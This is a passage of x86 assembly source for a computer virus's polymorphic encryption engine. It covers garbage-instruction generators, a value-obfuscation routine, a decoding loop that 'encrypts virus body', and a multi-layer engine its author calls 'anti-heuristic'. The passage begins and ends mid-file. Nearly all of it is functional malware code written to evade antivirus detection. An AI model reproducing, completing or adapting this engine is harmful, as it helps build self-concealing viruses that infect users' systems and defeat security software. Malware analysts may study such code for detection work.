mov ah,0E2h ;loop identification
xchg ah,al
stosw
; enable ECX
and byte ptr [ebp+used_regs],11111101b
a_loop: ret
;ÄÄÄ´ generate reg + garbage + dec reg + jnz reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÙ
g_lj_reg db ? ;0=8bit, 1=16bit, 2=32bit
g_lj_reg_past db ? ;0=low, 1=high (8BIT only)
g_loop_jump:
; we can't be recursived because ECX is only for one LOOP_JUMP
cmp byte ptr [ebp+recursive_level],01h
jnz a_loop_jump
; select a free register
call ppe_get_empty_reg
mov byte ptr [ebp+g_lj_reg],00h ;8 bit ...
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz __g_lj_no_8bit
mov eax,00000001h ;hi, lo ?
call ppe_get_rnd_range
mov byte ptr [ebp+g_lj_reg_past],al
jmp __g_lj_okay
; choose between reg16 and reg32
__g_lj_no_8bit:
mov eax,00000002h ;reg16 or reg32 ?
call ppe_get_rnd_range
inc eax
mov byte ptr [ebp+g_lj_reg],al
__g_lj_okay:
push ebx
mov eax,00000030h ;how many to looping ?
call ppe_get_rnd_range
add eax,2
mov bl,byte ptr [ebx] ;used reg
call ppe_crypt_value
pop ebx
push ebx
mov al,byte ptr [ebx] ;disable register
call __reg_to_bcd
or byte ptr [ebp+used_regs],ah
push edi
call gen_garbage
pop ecx
mov ax,4866h ;dec (reg16-clone)
or ah,byte ptr [ebx]
cmp byte ptr [ebp+g_lj_reg],00h
jz __g_lj_dec_8bit
cmp byte ptr [ebp+g_lj_reg],02h
jz __g_lj_dec_32bit
stosb
__g_lj_dec_32bit:
xchg ah,al
stosb
jmp __g_lj_dec_finish
__g_lj_dec_8bit:
mov ax,0C8FEh ;dec (reg8)
or ah,byte ptr [ebx] ;certain reg
cmp byte ptr[ebp+g_lj_reg_past],01h
jz __g_lj_dec_8bit_high
stosw
jmp __g_lj_dec_finish
__g_lj_dec_8bit_high:
and ah,24h
stosw
__g_lj_dec_finish:
call gen_garbage_no_flags
pop ebx
mov al,byte ptr [ebx] ;certain reg
call __reg_to_bcd
not ah
and byte ptr [ebp+used_regs],ah
mov ax,850Fh ;JNZ identification
stosw
mov eax,ecx
sub eax,edi
sub eax,4
stosd
a_loop_jump: ret
;ÄÄÄ´ generate reg32 + call reg32 + rnd_block + pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function can generate CALL reg32 which will be gene-
;rated by <ppe_crypt_value>.
;
g_cr32_reg db ?
g_cr32_full db ? ;0=g_return,1=call,2=jump
g_cr32_jump dd ? ;address of CALL instruction
;
g_call_reg32:
mov byte ptr [ebp+g_cr32_full],01h
b_call_reg32: mov dword ptr [ebp+g_cr32_jump],00000000h
; test, if global index reg is generated
cmp byte ptr [ebp+gl_index_reg],-1
jz a_call_reg32
; do not recursived - because it's few registers
cmp byte ptr [ebp+recursive_level],01h
jnz a_call_reg32
; garbage only in main-poly loop
cmp dword ptr [ebp+__pllg_memory],00000000h
jnz a_call_reg32
; save used-regs
mov al,[ebp+used_regs]
push ax
; select an empty register
call ppe_get_empty_reg
movzx ebx,byte ptr [ebx]
mov byte ptr [ebp+g_cr32_reg],bl
; calculate size of rnd_block
mov eax,00000030h
call ppe_get_rnd_range
add eax,00000005h ;damn, fucking BUG !!
push eax ;save it for later use
jmp d_call_reg32
c_call_reg32: mov byte ptr [ebp+g_cr32_full],00h
mov cl,[ebp+used_regs]
push cx
mov bl,byte ptr [ebx]
mov byte ptr [ebp+g_cr32_reg],bl
d_call_reg32: call ppe_crypt_value ;ebx is full
movzx eax,byte ptr [ebp+g_cr32_reg]
lea ebx,[ebp+tbl_regs+02h*eax]
call __reg_to_bcd
or byte ptr [ebp+used_regs],ah
call gen_garbage_no_flags ;uaaahh
call __copro_fix_delta ; + global index register
call gen_garbage_no_flags
; for <ppe_get_return> we don't want to set right size
cmp byte ptr [ebp+g_cr32_full],00h
jz e_call_reg32
; set the right size
mov ebx,edi
add ebx,2+6 ; + call reg32 + (add/sub)
sub ebx,[ebp+poly_start]
mov eax,00000002h
call ppe_get_rnd_range
or al,al
jz __cr32_add
neg ebx
mov ax,0E881h ;sub reg32,imm32 id
jmp __cr32_finish
__cr32_add:
mov ax,0C081h ;add reg32,imm32 id
__cr32_finish:
or ah,byte ptr [ebp+g_cr32_reg]
stosw
mov eax,ebx
stosd
e_call_reg32:
; now, write CALL reg32 instruction
mov ax,0D0FFh
or ah,byte ptr [ebp+g_cr32_reg]
stosw
mov [ebp+g_cr32_jump],edi
cmp byte ptr [ebp+g_cr32_full],00h
jz f_call_reg32
pop ecx ;rnd_block length
call ppe_gen_rnd_fill ;ecx is full
cmp byte ptr [ebp+g_cr32_full],02h
jz f_call_reg32
; and we must put value from stack via POP reg32
call gen_garbage_no_flags ;uaaahh...
mov al,58h
or al,byte ptr [ebp+g_cr32_reg]
stosb
f_call_reg32:
; restore used_regs
pop ax
mov [ebp+used_regs],al
a_call_reg32: ret
;ÄÄÄ´ generate reg32 + jump reg32 + rnd_block ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_jump_reg32:
mov byte ptr [ebp+g_cr32_full],02h
; write CALL reg32 garbage
call b_call_reg32
cmp dword ptr [ebp+g_cr32_jump],00000000h
jz a_jump_reg32
; rewrite CALL reg32 --> JMP reg32
mov eax,[ebp+g_cr32_jump]
add byte ptr [eax-1],10h ;CALL reg32 -> JMP reg32
a_jump_reg32: ret
;ÄÄÄ´ generate rep/repnz + cmps/lods/stos/scas/movs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÄÙ
;---------------------------------------------------------
;Welcome to my popular function. I think any comment is
;needless - because this function is easy to understand.
;So, If u don't believe me, I'll show you some functionz:
; * __gr_make_esi --- generate source
; * __gr_make_edi --- generate destination or source
; * __gr_make_ecx --- generate counter
;
;...easy to understand...
;
g_repeat:
; test, if global index register is generated
cmp byte ptr [ebp+gl_index_reg],-1
jz a_repeat
; i must be far then about USED_MEMORY bytes
call __gr_where_in_mem
jc a_repeat
; garbage use only in main-poly loop
cmp dword ptr [ebp+__pllg_memory],00000000h
jnz a_repeat
; register ECX must be free
test byte ptr [ebp+used_regs],00000010b
jnz a_repeat
; does ESI free ?
test byte ptr [ebp+used_regs],01000000b
jnz __gr_part_2
; does EDI free ?
test byte ptr [ebp+used_regs],10000000b
jnz __gr_lods
; all cmps/lods/stos/scas/movs, wow !
mov eax,(end_repeat - tbl_repeat) / 04h
call ppe_get_rnd_range
lea esi,[ebp+tbl_repeat+eax*04h]
lodsd
add eax,ebp
call eax
jmp a_repeat
__gr_part_2:
; must be EDI free ..
test byte ptr [ebp+used_regs],10000000b
jnz a_repeat
; only stos/scas ...
mov eax,00000002h
call ppe_get_rnd_range
or al,al
jz __gr_stos
jmp __gr_scas
__gr_cmps:
call __gr_make_esi ;new esi to ebx
call __gr_make_edi ;new edi to ecx
call __gr_change
push ecx
mov eax,ebx
mov bl,00000110b ;esi register
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+6*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],01000000b
pop eax
mov bl,00000111b ;edi register
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+7*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],10000000b
call __gr_crypt_ecx ;ecx register
call __gr_make_rep ;rep or repnz ?
mov al,0A6h
stosb
and byte ptr [ebp+used_regs],00111111b
ret
__gr_lods:
; register EAX must be free
test byte ptr [ebp+used_regs],00000001h
jnz __gr_flods
call __gr_make_esi
mov eax,ebx
mov bl,00000110b
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+6*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],01000000b
call __gr_crypt_ecx
call __gr_make_rep
mov al,0ACh
stosb
and byte ptr [ebp+used_regs],10111111b
__gr_flods:
ret
__gr_stos:
call __gr_make_edi
mov eax,ecx
mov bl,00000111b
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+7*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],10000000b
call __gr_crypt_ecx
call __gr_make_rep
mov al,0AAh
stosb
and byte ptr [ebp+used_regs],01111111b
ret
__gr_scas:
call __gr_make_edi
or byte ptr [ebp+used_regs],10000000b
mov eax,ecx
mov bl,00000111b
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+7*2]
call __copro_fix_delta
call __gr_crypt_ecx
call __gr_make_rep
mov al,0AEh
stosb
and byte ptr [ebp+used_regs],01111111b
ret
__gr_movs:
call __gr_make_esi
call __gr_make_edi
call __gr_change
push ecx
mov eax,ebx
mov bl,000000110b
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+6*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],01000000b
pop eax
mov bl,000000111b
call ppe_crypt_value
lea ebx,[ebp+tbl_regs+7*2]
call __copro_fix_delta
or byte ptr [ebp+used_regs],10000000b
call __gr_crypt_ecx
call __gr_make_rep
mov al,0A4h
stosb
and byte ptr [ebp+used_regs],00111111b
ret
__gr_make_rep:
mov bx,0F2F3h ;repnz, rep
mov eax,00000002h
call ppe_get_rnd_range
xchg eax,ebx
or bl,bl
jz __gr_make_repnz
stosb
ret
__gr_make_repnz:
xchg ah,al
stosb
ret
__gr_crypt_ecx:
mov eax,30
call ppe_get_rnd_range
mov bl,00000001b ;ecx register
call ppe_crypt_value
ret
__gr_make_esi:
mov eax,0000000Ah ;esi start
call ppe_get_rnd_range
mov ebx,eax
sub ebx,edi
add ebx,[ebp+poly_start]
ret
__gr_make_edi:
mov eax,000000Ah ;edi start
call ppe_get_rnd_range
mov ecx,eax
sub ecx,edi
add ecx,[ebp+poly_start]
ret
__gr_change:
mov eax,00000002h ;change esi and edi ?
call ppe_get_rnd_range
or al,al
jz __gr_change_no
xchg ebx,ecx
__gr_change_no:
ret
__gr_where_in_mem:
mov eax,[ebp+poly_start]
sub eax,edi
neg eax
cmp eax,USED_MEMORY
a_repeat: ret
;ÄÄÄ´ generate push value(32/16)/garbage/pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_pushpop_value:
; value32 OR value16 ?
call ppe_get_rnd32 ;save dword or word ?
and al,1
jnz __ppv_push16
; short or long value ?
call ppe_get_rnd32
and al,1
jnz __ppv_push32_short
; long value
mov al,68h ;save: PUSH 11223344h
stosb ;code: 68 44332211
call ppe_get_rnd32
stosd
jmp __ppv_finish32
__ppv_push32_short:
call ppe_get_rnd32 ;save: PUSH 00000009h
mov al,6Ah ;code: 6A 09
stosw
jmp __ppv_finish32
__ppv_push16:
call ppe_get_rnd32
and al,1
jnz __ppv_push16_short
; long short-value
mov ax,6866h
stosw
call ppe_get_rnd32
stosw
jmp __ppv_finish16
__ppv_push16_short:
mov ax,6A66h
stosw
call ppe_get_rnd32
stosb
jmp __ppv_finish16
; time to POP value
__ppv_finish32:
call gen_garbage ;POP reg32
call ppe_get_empty_reg
mov al,58h
or al,byte ptr [ebx]
stosb
jmp __ppv_finish
__ppv_finish16:
call gen_garbage ;POP reg16
call ppe_get_empty_reg
mov ax,5866h
or ah,byte ptr [ebx]
stosw
__ppv_finish:
ret
;ÄÄÄ´ function to crypt a random value to reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_crypt_value:
call ppe_get_empty_reg
mov bl,al
call ppe_get_rnd32
call ppe_crypt_value
ret
;ÄÄÄ´ function to simulate end of encode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function can generate "destination" compare like a
;bafflement. So, this garbage generate this code:
;
; CALL __pos_1 ;any garbages
; <rnd_data> ;typical CALL rnd_data
; __i: JMP __compare_back ; NEW JUMP
; <rnd_data> ;typical CALL rnd_data
; __pos_1:
; <next_code> ;loop,next_index...
; DEC reg32 ;typical CMP instruction
; <garbages>
; CMP reg32,reg32 ;compare registers
; <garbages - no_flags> ;no_flags garbages
; JNZ __i ;typical CMP c-jump
; <garbages>
; __compare_back: ;come back and continue
; <next_code>
;
g_compare:
; do not recursived - because it's few registers
cmp byte ptr [ebp+recursive_level],01h
jnz a_compare
; have we some free place in rnd_fill ?
cmp byte ptr [ebp+compare_index],00h
jz a_compare
; this garbage only in the main loop
cmp byte ptr [ebp+gl_index_reg],-1
jz a_compare
; save used-regs
mov al,[ebp+used_regs]
push eax
; select a free base-reg to DEC
call gen_garbage
call ppe_get_empty_reg
call __reg_to_bcd
or [ebp+used_regs],ah
mov al,48h ;DEC
or al,byte ptr [ebx]
stosb
call gen_garbage
; build CMP instruction
mov edx,ebx
__gc_new_reg:
call ppe_get_reg
cmp ebx,edx ;i don't want same regz
jz __gc_new_reg
mov ah,byte ptr [edx] ;reg to AH
shl ah,03h ; * 8
or ah,al
or ah,0C0h
mov al,3Bh ;CMP ...
stosw
call gen_garbage_no_flags
; build JNZ jmp
mov ax,850Fh ;JNZ far signature
stosw
movzx eax,byte ptr [ebp+compare_index]
call ppe_get_rnd_range ;select <compare_index>
mov eax,[ebp+compare_buffer+04h*eax]
add eax,[ebp+poly_start]
push eax
sub eax,edi
sub eax,00000004h
stosd
call gen_garbage
; build JMP to rnd_fill
pop ecx ;EDI of rnd_fill_jmp in ECX
mov al,0E9h ;JMP far signature
mov byte ptr [ecx],al
mov eax,edi
sub eax,ecx
sub eax,00000005h
mov dword ptr [ecx+00000001h],eax
call gen_garbage
; destroy all rnd_fill buffers
mov byte ptr [ebp+compare_index],00h
; restore used_regs
pop eax
mov [ebp+used_regs],al
a_compare: ret
;ÄÄÄ´ function to fix delta for copro operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;If we generated offset of free memory (by __copro_get_mem)
;then it's more then time to use delta.
;
;input: EBX = offset to reg
__copro_fix_delta:
mov al,03h ;ADD instruction
mov ah,byte ptr [ebx]
shl ah,3
or ah,byte ptr [ebp+gl_index_reg]
or ah,0C0h
stosw
ret
__copro_unfix_delta:
mov al,2Bh ;SUB instruction
mov ah,byte ptr [ebx]
shl ah,3
or ah,byte ptr [ebp+gl_index_reg]
or ah,0C0h
stosw
ret
;ÄÄÄ´ function to crypt a destination value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÙ
;---------------------------------------------------------
;This function is for crypt a real value which we want to
;hide. I use only base-reg (eax,edi...) because If I would
;like to introduce the coprocessor I'd have to use FILD
;and FIST instruction: FILD qword ptr [edi], where EDI I
;wanted generate. At first I generate code for encode a
;destination value and I find out a crypt value. During
;encoding I save a opposite instruction to stack (add <=>
;sub). I could not to save decode instructions into a spe-
;cial buffer because I didn't know a real size - the stack
;is better for this.
;
;input: EAX=destination value
; BL=destionation register (not in BCD)
;
;used instructions: ADD opposite SUB and on the contrary
; ROL opposite ROR
; XOR reg <==> XOR reg
; NOT reg <==> NOT reg
; MOV reg1,reg2 <==> MOV reg2,reg1
;
;do you have anything else ?
;
;and now... example:
; * I want to generate number 0x402CC1 to EDX register
; MOV ESI, 1985FDD6
; ROL ESI, BB
; MOV EAX, ESI
; NOT EAX
; MOV EDX, EAX
; SUB EDX, 4FF3A350 ->EDX = 0x402CC1
;
;This is only example but reality it other... better !!!
;
actual_reg db ? ;where we've our number which we're generating
future_reg db ? ;our destination register
actual_instr db ? ;actual instruction in generate
old_place dd ? ;where's start crypt value
;
ppe_crypt_value:
pusha
mov ecx,eax ;save destination value
mov [ebp+old_place ],edi
mov [ebp+actual_reg],bl
mov [ebp+future_reg],bl
; save destination value to destination reg
mov al,0B8h
or al,bl
stosb ;select destination reg
mov eax,ecx
stosd ;save destination value
; how many instruction we'll use
mov eax,00000007h
call ppe_get_rnd_range
inc eax
mov byte ptr [ebp+actual_instr],al
push 12345678h ;flag to stack
__cv_next_loop:
mov eax,00000003h ;may I change register ?
call ppe_get_rnd_range
or eax,eax
jnz __cv_continue
call ppe_get_empty_reg ;i want a free register
mov al,08Bh
mov ah,byte ptr [ebx] ;my future reg32
cmp ah,byte ptr [ebp+actual_reg]
jz __cv_next_loop ;blah - mov ecx,ecx ??
shl ah,3
or ah,byte ptr [ebp+actual_reg]
or ah,0C0h
stosw ;finish but now i must create opposite for decode
mov al,byte ptr [ebx]
mov ah,byte ptr [ebp+actual_reg]
shl ah,3
or ah,al
or ah,0C0h
mov byte ptr [ebp+actual_reg],al
mov al,08Bh
push ax ;ax = decode mov
__cv_continue:
mov eax,(end_num_code - tbl_num_code) / 04h
call ppe_get_rnd_range
lea esi,[ebp+tbl_num_code+4*eax]
lodsb ;load where we have encode instruction
lodsw ;AH = base_reg, AL = id_operation
or ah,[ebp+actual_reg]
push ax ;save because of separate actual_reg
stosw
lodsb ;imm(X) = 3rd_number * 8
mov dl,al
push ax ;now, we must generate imm
__cv_generate_imm: ;imm32 = (add,sub) reg32,imm32
or dl,dl ;imm8 = (rol,ror) reg32,imm8
jz __cv_opposite_code ;imm0 = not reg32
call ppe_get_rnd32
rol ebx,8 ;save rnd number to EBX
mov bl,al
stosb
dec dl
jmp __cv_generate_imm
__cv_opposite_code:
pop ax ;ax = imm(X)
pop cx ;ch = reg32, cl = encode instruction
__cv_oc_generate_imm:
or al,al ;is it imm0 ?
jz __cv_oc_imm_ok
dec esp ;save imm to stack
mov byte ptr ss:[esp],bl
ror ebx,8 ;next number in imm
dec al
jmp __cv_oc_generate_imm
__cv_oc_imm_ok:
lea esi,[esi-4] ;esi = start of encode instruction
lodsb ;AL = opposite instruction (add <=> sub)
movsx eax,al ;is it previous or next instruction ?
add esi,eax ;esi = decode instruction
lodsb
lodsw ;al = (en/de)code instruction
and ch,00000111b ;separate reg only
or ah,ch ;change register
push ax ;save encode instruction to stack
dec byte ptr [ebp+actual_instr]
jnz __cv_next_loop
;now, we must find out the crypt value
mov ax,0C08Bh
or ah,byte ptr [ebp+actual_reg]
stosw ;save destination value to EAX
mov al,0C3h
stosb ;ret = out of call
;to find out crypt value we must call decode function
;output: eax = crypt value
pusha
call dword ptr [ebp+old_place]
mov [esp].access_eax,eax
popa
;save into last_reg our crypt value
mov edi,[ebp+old_place]
push eax
mov al,0B8h
or al,byte ptr [ebp+actual_reg]
stosb
pop eax
stosd
;now, we must write decode instructions to old EDI
__cv_oc_out_of_stack:
cmp dword ptr ss:[esp],12345678h
jz __cv_oc_finish
mov al,byte ptr ss:[esp]
inc esp
stosb
jmp __cv_oc_out_of_stack
__cv_oc_finish:
pop eax ;flag from stack
mov [esp],edi
popa
ret
;ÄÄÄ´ last decoding loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function encrypts virus body like 3rd decoding loop.
;The algorithm is in front of the virus. It means, multi-
;layer algorithm is behind virus, then is jump to back and
;then is next decoding loop.
;
__pllg_memory dd 00000000h ;decoding loop mem
__pllg_countreg db 00h ;counter register
__pllg_indexreg db 00h ;index register
__pllg_codereg db 00h ;code register
__pllg_lsize dd 00000000h ;loop size
;
ppe_lloop_generate:
; save all registers
pusha
; allocate memory for decoding loop
mov eax,10000
call malloc
mov [ebp+__pllg_memory],eax
mov edi,eax
; generate index and its register
call gen_garbage
__pllg_new_reg:
call ppe_get_empty_reg
cmp al,00000100b
jae __pllg_new_reg
call __reg_to_bcd
mov bl,al
mov [ebp+__pllg_indexreg],bl
or [ebp+used_regs],ah
mov al,0E8h ;CALL
stosb
xor eax,eax
stosd
mov al,58h
add al,[ebp+__pllg_indexreg]
stosb
mov ax,0C081h
add ah,[ebp+__pllg_indexreg]
stosw
push edi
add edi,00000004h ;do place for ADD
; generate counter register
call gen_garbage
call ppe_get_empty_reg
call __reg_to_bcd
mov bl,al
mov [ebp+__pllg_countreg],al
or [ebp+used_regs],ah
call ppe_get_rnd32
push eax
call ppe_crypt_value
; generate code register
call gen_garbage
call ppe_get_empty_reg
call __reg_to_bcd
mov bl,al
mov [ebp+__pllg_codereg],bl
or [ebp+used_regs],ah
call ppe_get_rnd32
call ppe_crypt_value
; generate XOR machanism
push edi
call gen_garbage
mov ah,[ebp+__pllg_codereg]
shl ah,03h
add ah,[ebp+__pllg_indexreg]
mov al,31h
stosw
call gen_garbage
; generate next index value
mov ah,0C0h
add ah,[ebp+__pllg_indexreg]
mov al,83h
stosw
mov al,04h
stosb
call gen_garbage
; geneerate next counter value
mov al,40h
add al,[ebp+__pllg_countreg]
stosb
call gen_garbage
; generate comparing
mov ax,0F881h
add ah,[ebp+__pllg_countreg]
stosw
mov eax,[esp+4]
add eax,file_size shr 2
stosd
call gen_garbage_no_flags
mov ax,850Fh ;JNZ identification
stosw
mov eax,[esp]
sub eax,edi
sub eax,4
stosd
call gen_garbage
; generate do-nothing instructions
mov al,0C3h
push edi
stosb
__pllg_align:
mov eax,edi
sub eax,[ebp+__pllg_memory]
mov ebx,8
xor edx,edx
div ebx
or edx,edx
jz __pllg_finish
mov al,90h
stosb
jmp __pllg_align
__pllg_finish:
; change index value
mov eax,edi
sub eax,[esp+0ch]
add eax,00000003h
mov ebx,[esp+0ch]
mov [ebx],eax
; do place for this algorithm
push edi
mov esi,[ebp+mem_address]
add edi,esi
sub edi,[ebp+__pllg_memory]
mov ecx,edi
sub ecx,esi
mov [esi+__pllg_lsize-virus_start],ecx
add ecx,file_size
mov [ebp+file_size2],ecx
mov [ebp+file_size3],ecx
shr [ebp+file_size2],03h
call __movsd_back
; copy this algorithm
mov esi,[ebp+__pllg_memory]
mov edi,[ebp+mem_address]
pop ecx
sub ecx,[ebp+__pllg_memory]
rep movsb
; run that algorithm
pusha
mov eax,[ebp+mem_address]
call eax
popa
mov eax,[esp]
sub eax,[ebp+__pllg_memory]
add eax,[ebp+mem_address]
mov byte ptr [eax],90h
; dealloc memory
mov eax,[ebp+__pllg_memory]
call mdealloc
xor eax,eax
mov [ebp+__pllg_memory],eax
; restore all registers
mov [ebp+used_regs],00h
add esp,4*4
popa
ret
;ÄÄÄ´ multi-layer engine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function generates multi-layer map. And because I am
;crazy, this is true multi-layer engine. So look here:
;
; Every polymorphic en- vs. Every multi-layer engine
; gine encodes l. this: encodes in this way:
; Â (virus_start) Â Â
; ³ ³ 1st ³ 2nd
; ³ ³ layer ³ layer
; ³ ³ ³
;  (down or up)   etc.
;
;But my multi-layer engine has these features:
; * randomly generated layer's movement (down or up)
; * maximal is 986 layers
; * typical is 68 layers
; * layers' buffer with gaps (anti-heuristic)
;
;My resulting coding progress:
; Â Ú¿ ù ù ¿ three layers
; ³Ú¿³³ ù ù ù ù ù ´ five layers
; ³³³³³Ú¿ ù ù ù ù ù ù ù ù ù ù ´ seven layers
; ÀÙ³³³³³ ù ù ù ù ù ù ù ù ù ù Ù
; ³³ÀÙ³
; ÀÙ ³
; 
;
;Here you can see I need layers buffer, where I have all
;movement (down and up). Every byte has this structure:
;
; 8th bit (down/up), 7th-1st bit (+/- movement)
;
;Some equations:
; * maximum layers:
; ((file_size-2^7*4)/(layer_buf-file_size-2^7*4))/2=968
; * typical layers:
; 2^7 * 4 * layer_buf / file_size = 68
;
;Where:
; * file_size = calculated for 18,000 bytes
; * layer_buf = calculated for 2,400 bytes
; * 2^7 = we have eight bites without one (+/-)
; * 4 = we use dword, not byte
;
;The layers buffer is behind polymorphic loop, and it cer-
;tains anti-heuristic :), because in that buffer are gaps.
;And these treatments are inside polydecoding loop.
;
;
__mlg_map dd 00000000h ;layers memory map
__mlg_size dd 00000000h ;size of layer buffer
file_size2 dd 00000000h ;(file_size+3rd l.)/8
file_size3 dd 00000000h ;file_size2 * 8
;
ppe_mlayer_generate:
; save all registers
pusha
; allocate memory for layer map
push 00000000h ;number of encrypted bytes
mov eax,000000C9h ;get size of layers map
call ppe_get_rnd_range ;maximum is 2,600 bytes
shl eax,03h ;multiply by eight
add eax,1000
push eax ;[ESP] = size of layers map
shr dword ptr [esp],03h ;divide by eight
call malloc ;allocate that memory
mov [ebp+__mlg_map],eax
; generate eight parts
mov edi,[ebp+__mlg_map] ;EDI = memory layers map
xor ecx,ecx ;ECX = actual part
xor edx,edx ;EDX = position in layer
call __mlg_gen_max_movement
mov byte ptr [edi],al ;the first movement
movzx ebx,al ;EBX = position in vbody
inc edi ; + memory layer map
inc edx ; + pos in actual layer
__mlg_next_movement:
call __mlg_gen_max_movement ;generate new movement (+/-)
jc __mlg_no_compare ;if AL==0, then "go up" flag
push eax
mov eax,00000003h ; 2 * DOWN, 1 * UP
call ppe_get_rnd_range
or al,al ;go back ? (it means UP !)
pop eax ;movement
jnz __mlg_go_down
cmp ebx,eax ;EBX - EAX < 0 ?
jb __mlg_go_down ;if yes, go down, not up
__mlg_no_compare:
sub ebx,eax ; = actul pos in vbody
or al,80h ;set "go up" flag
jmp $ + 00000004h
__mlg_go_down:
add ebx,eax ; = actual pos in vbody
mov byte ptr [edi],al ;write new movement (+/-)
inc edi ; + memory layer map
inc edx ; + pos in actual layer
__mlg_compare:
cmp edx,[esp] ;EDX == size of layers map/8
jb __mlg_continue
inc ecx ;next part
xor edx,edx ;position in layer
add [esp+00000004h],ebx ;number of encrypted bytes
cmp ecx,00000008h ;was it last part ?
jnz __mlg_no_last
mov ebx,[ebp+file_size3] ;file_size + 3rd_loop
sub ebx,[esp+00000004h] ;encrypted bytes
neg ebx ; - EBX
jmp $ + 00000008h
__mlg_no_last:
sub ebx,[ebp+file_size2] ;EBX < file_size2 ?
mov esi,ebx ;my the only one empty reg :)
bt esi,3Fh
jnc __mlg_continue ;no bytes to down ? ESI > 0 ?
__mlg_no_last_next:
call __mlg_gen_max_movement_without_test
push esi ;ESI + EAX <= 0, then okay
add esi,eax ;ESI + EAX > 0, then again
or esi,esi ;set (Z)ero flag
bt esi,3Fh ;set (C)arry flag
pop esi
jc $ + 00000004h ;all right
jnz __mlg_no_last_next ;ESI + EAX > 0
add [esp+00000004h],eax ;number of encrypted bytes
mov byte ptr [edi],al ;and write that...
inc edi ; + memory layer map
inc edx ; + pos in actual layer
add ebx,eax ;position in vbody
add esi,eax ;ESI += EAX, bytes to down
bt esi,3Fh ;ESI > 0 ?
jc __mlg_no_last_next
__mlg_continue:
cmp ecx,00000008h ;last part ?
jnz __mlg_next_movement ;next and next loop...
sub edi,[ebp+__mlg_map] ;number of encrypted bytes
mov [ebp+__mlg_size],edi
; encrypt the encrypted virus body by 3rd decoding loop :)
mov esi,[ebp+__mlg_map] ;layers memory map
mov edi,[ebp+mem_address]
mov edx,[ebp+__mlg_size] ;size of layers buffer
mov ebx,[ebp+code_value]
__mlg_next_byte:
lodsb ;load movement
movzx ecx,al ;convert to ECX & 7Fh
and cl,7Fh ;clear (+/-) flag
sub ebx,[ebp+code_value_add] ;damn bug !
__mlg_next_dword:
cmp byte ptr [ebp+crypt_style],02h
jz __mlg_xor
cmp byte ptr [ebp+crypt_style],01h
jz __mlg_add
sub byte ptr [edi],bl
jmp __mlg_next_value
__mlg_add:
add byte ptr [edi],bl
jmp __mlg_next_value
__mlg_xor:
xor byte ptr [edi],bl
__mlg_next_value:
inc edi ;next value (+)
rol ebx,01h ;bits rotate
test al,80h ;check that flag
jz __mlg_go_cow
sub edi,00000002h ;next value (-)
__mlg_go_cow:
dec cl ;next byte (value)
jnz __mlg_next_dword
bt eax,7 ;test 7th bit
jc __mlg_back
test byte ptr [esi],80h ;forward and back now ?
jz __mlg_fback
dec edi
jmp __mlg_fback
__mlg_back:
test byte ptr [esi],80h ;back and forward now ?
jnz __mlg_fback
inc edi
__mlg_fback:
dec edx ;next movement
jnz __mlg_next_byte
; generate the 5th number of CRC-getting
__pbi_again:
mov eax,00DFFFFFh ;maximum searching number
call ppe_get_rnd_range
cmp eax,10000h
jb __pbi_again
mov [ebp+__pbi_last_num],eax
sub ebx,eax
mov [ebp+__pbi_add_num],ebx
; restore all registers
add esp,00000008h
popa
ret
__mlg_gen_max_movement_without_test:
mov eax,00000080h ;generate <0,128) number
call ppe_get_rnd_range
or al,al
jz __mlg_gen_max_movement_without_test
ret
__mlg_gen_max_movement:
call __mlg_gen_max_movement_without_test
cmp ebx,[ebp+file_size2]
jz __mlg_gmm_failed
push eax ;i haven't any empty reg
add eax,ebx
cmp eax,[ebp+file_size2] ;EBX+EAX > file_size2 ?
pop eax ;if yes, generate other
ja __mlg_gen_max_movement ;number
test al,0F9h ;hidden STC instruction
__mlg_gmm_failed equ $-1
ret
;ÄÄÄ´ brute-attack engine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;Welcome to my brute-attack engine in poly-decoding loop.
;At first I generate five valuez and their checksum, then
;I'll store that checksum and I will find right five value
;by its checksum. Maximal value of 5th number is 0xDFFFFF.
;This number I'll find per 0.82 second on P233. And I know
;it's very good result.
;
